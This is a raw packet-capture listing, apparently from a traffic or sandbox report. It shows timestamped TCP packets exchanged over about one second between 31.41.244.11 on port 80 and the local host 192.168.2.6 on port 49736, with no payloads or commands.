Dec 20, 2024 17:43:30.795716047 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.795759916 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.796542883 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.796590090 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.796726942 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.796761990 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.797535896 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.797580957 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.798003912 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.798038960 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.798446894 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.798487902 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.798682928 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.798718929 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.799468994 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.799482107 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.799519062 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.800400019 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.800443888 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.800529957 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.800561905 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.801281929 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.801318884 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.801522017 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.801558018 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.802227020 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.802360058 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.802393913 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.803245068 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.803282976 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.803555965 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.804132938 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.804169893 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.804497957 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.804747105 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.805130959 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.805198908 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.805233955 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.806042910 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.806721926 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.806759119 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.807092905 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.807260036 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.807301044 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.808007002 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.808057070 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.808439016 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.808475018 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.808954000 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.809022903 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.809072971 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.809168100 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.809839010 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.809884071 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.809968948 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.810002089 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.810790062 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.810828924 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.811157942 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.811197996 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.811738014 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.811778069 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.812005043 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.812084913 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.812648058 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.812768936 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.812810898 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.813656092 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.813699007 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.813733101 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.813808918 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.814881086 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.814929962 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.814991951 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.815026999 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.815502882 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.815541983 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.815762997 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.815819025 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.816513062 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.816551924 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.816565037 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.816819906 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.817387104 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.817591906 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.817631006 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.818684101 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.818912029 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.818950891 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.819281101 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.819431067 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.819463968 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.820276022 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.820467949 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.820518017 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.821228027 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.824820995 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.948895931 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.948987007 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.949078083 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.949208021 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.949368954 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.949423075 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.949454069 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.949593067 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.950310946 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.950371027 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.950416088 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.950457096 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.951265097 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.951333046 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.952100039 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.952156067 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.952191114 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.952241898 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.952538013 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.952598095 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.952631950 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.952790976 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.953241110 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.953294039 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.953303099 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.953372955 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.954206944 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.954276085 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.954683065 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.954736948 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.955127001 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.955209017 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.955223083 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.955331087 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.956151009 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.956201077 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.956446886 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.956623077 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.957010984 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.957065105 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.957153082 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.957230091 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.957998037 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.958055973 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.958213091 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.958400011 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.958939075 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.959038019 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.959079027 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.959120989 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.959889889 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.959944963 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.959981918 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.960058928 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.960834026 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.960897923 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.961196899 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.961241007 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.961782932 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.961839914 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.962228060 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.962285042 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.962732077 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.962902069 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.963012934 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.963052988 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.963697910 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.963758945 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.963920116 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.963958979 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.964626074 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.964689970 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.964814901 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.964854956 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.965558052 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.965655088 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.965795040 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.965841055 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.966489077 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.966541052 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.966783047 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.966830015 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.967468977 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.967519999 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.967684984 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.967729092 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.968424082 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.968467951 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.969248056 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.969405890 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.969419956 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.969449997 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.969476938 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.970376968 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.970488071 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.970531940 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.971261978 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.971338034 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.971376896 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.972429991 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.972795963 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.972866058 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.973169088 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.973212004 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.973577023 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.974107027 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.974153042 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.974303007 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.974359035 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.975069046 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.975204945 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.975289106 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.975337982 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.976162910 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.976213932 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.976831913 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.976911068 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.977062941 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.977076054 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.977135897 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.977884054 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.977942944 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.978244066 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.978312969 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.978840113 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.978898048 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.978976011 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.979147911 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.979804993 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.979856014 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.980032921 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.980088949 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.980758905 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.980777979 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.980823040 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.980837107 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.981664896 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.981739998 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.981821060 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.981863976 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.982609034 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.982657909 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.982676983 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.982754946 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.983606100 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.983655930 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.983798981 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.983838081 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.984543085 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.984555960 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.984589100 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.984603882 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.985511065 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.985574007 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.985699892 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.985805035 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.986478090 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.986536980 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.986568928 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.986690044 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.987386942 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.987441063 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.987845898 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.988024950 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.988307953 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.988377094 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.988601923 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.988650084 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.989267111 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.989326000 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.989550114 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.989595890 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.990268946 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.990328074 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.990391016 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.990530968 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.991169930 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.991249084 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.991266012 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.991451025 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.992157936 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.992172956 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.992214918 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.992233992 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.993102074 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.993160009 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.993190050 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.993318081 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.993977070 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.994044065 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.994117022 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.994218111 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.994960070 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.995002985 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.995043039 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.995347977 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.995883942 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.995932102 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.996006966 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.996054888 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.996913910 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.996953964 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.996990919 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.997025013 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.997788906 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.997957945 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.998007059 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.998413086 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.141164064 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.141253948 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.141320944 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.141365051 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.141653061 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.141666889 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.141695976 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.141709089 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.142568111 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.142611980 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.142688036 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.142729044 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.143484116 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.143532038 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.144424915 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.144469023 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.144637108 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.144681931 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.144922018 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.144967079 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.145072937 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.145133972 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.145836115 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.145881891 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.145982027 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.146022081 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.146780014 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.146831036 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.147330046 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.147382975 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.147731066 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.147770882 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.147948980 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:31.148000002 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:31.148694038 CET	80	49736	31.41.244.11	192.168.2.6
